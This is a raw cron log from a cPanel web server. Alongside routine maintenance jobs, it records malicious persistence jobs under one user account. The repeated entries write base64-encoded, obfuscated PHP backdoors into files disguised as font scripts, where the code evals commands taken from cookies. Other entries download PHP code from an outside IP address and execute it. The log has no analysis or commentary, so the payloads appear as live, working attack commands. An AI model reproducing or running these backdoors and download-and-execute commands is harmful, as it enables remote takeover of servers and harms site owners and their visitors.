Sep  2 07:47:01 ip-184-168-122-23 CROND[8624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:47:01 ip-184-168-122-23 CROND[8627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:47:01 ip-184-168-122-23 CROND[8625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:47:01 ip-184-168-122-23 CROND[8626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:48:01 ip-184-168-122-23 CROND[8728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:48:01 ip-184-168-122-23 CROND[8730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:48:01 ip-184-168-122-23 CROND[8731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:48:01 ip-184-168-122-23 CROND[8732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:48:01 ip-184-168-122-23 CROND[8733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:49:01 ip-184-168-122-23 CROND[8830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:49:01 ip-184-168-122-23 CROND[8832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:49:01 ip-184-168-122-23 CROND[8834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:49:01 ip-184-168-122-23 CROND[8831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:49:01 ip-184-168-122-23 CROND[8833]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  2 07:50:02 ip-184-168-122-23 CROND[8941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:50:02 ip-184-168-122-23 CROND[8938]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:50:02 ip-184-168-122-23 CROND[8939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:50:02 ip-184-168-122-23 CROND[8940]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 07:50:02 ip-184-168-122-23 CROND[8943]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:50:02 ip-184-168-122-23 CROND[8945]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 07:50:02 ip-184-168-122-23 CROND[8944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:50:02 ip-184-168-122-23 CROND[8946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:50:02 ip-184-168-122-23 CROND[8949]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:51:01 ip-184-168-122-23 CROND[9042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:51:01 ip-184-168-122-23 CROND[9044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:51:01 ip-184-168-122-23 CROND[9046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:51:01 ip-184-168-122-23 CROND[9045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:52:01 ip-184-168-122-23 CROND[9143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:52:01 ip-184-168-122-23 CROND[9145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:52:01 ip-184-168-122-23 CROND[9147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:52:01 ip-184-168-122-23 CROND[9148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:52:01 ip-184-168-122-23 CROND[9146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:53:01 ip-184-168-122-23 CROND[9353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:53:01 ip-184-168-122-23 CROND[9356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:53:01 ip-184-168-122-23 CROND[9355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:53:01 ip-184-168-122-23 CROND[9357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:54:01 ip-184-168-122-23 CROND[9447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:54:01 ip-184-168-122-23 CROND[9449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:54:01 ip-184-168-122-23 CROND[9450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:54:01 ip-184-168-122-23 CROND[9452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:54:01 ip-184-168-122-23 CROND[9451]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:55:01 ip-184-168-122-23 CROND[9552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:55:01 ip-184-168-122-23 CROND[9554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:55:02 ip-184-168-122-23 CROND[9558]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:55:02 ip-184-168-122-23 CROND[9562]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:55:02 ip-184-168-122-23 CROND[9560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:55:02 ip-184-168-122-23 CROND[9561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:56:01 ip-184-168-122-23 CROND[9673]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:56:01 ip-184-168-122-23 CROND[9675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:56:01 ip-184-168-122-23 CROND[9676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:56:01 ip-184-168-122-23 CROND[9680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:56:01 ip-184-168-122-23 CROND[9681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:57:01 ip-184-168-122-23 CROND[9792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:57:01 ip-184-168-122-23 CROND[9793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:57:01 ip-184-168-122-23 CROND[9794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:57:01 ip-184-168-122-23 CROND[9795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:58:01 ip-184-168-122-23 CROND[9996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:58:01 ip-184-168-122-23 CROND[10000]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:58:01 ip-184-168-122-23 CROND[9999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:58:01 ip-184-168-122-23 CROND[10001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:58:01 ip-184-168-122-23 CROND[9998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:59:01 ip-184-168-122-23 CROND[10135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:59:01 ip-184-168-122-23 CROND[10139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
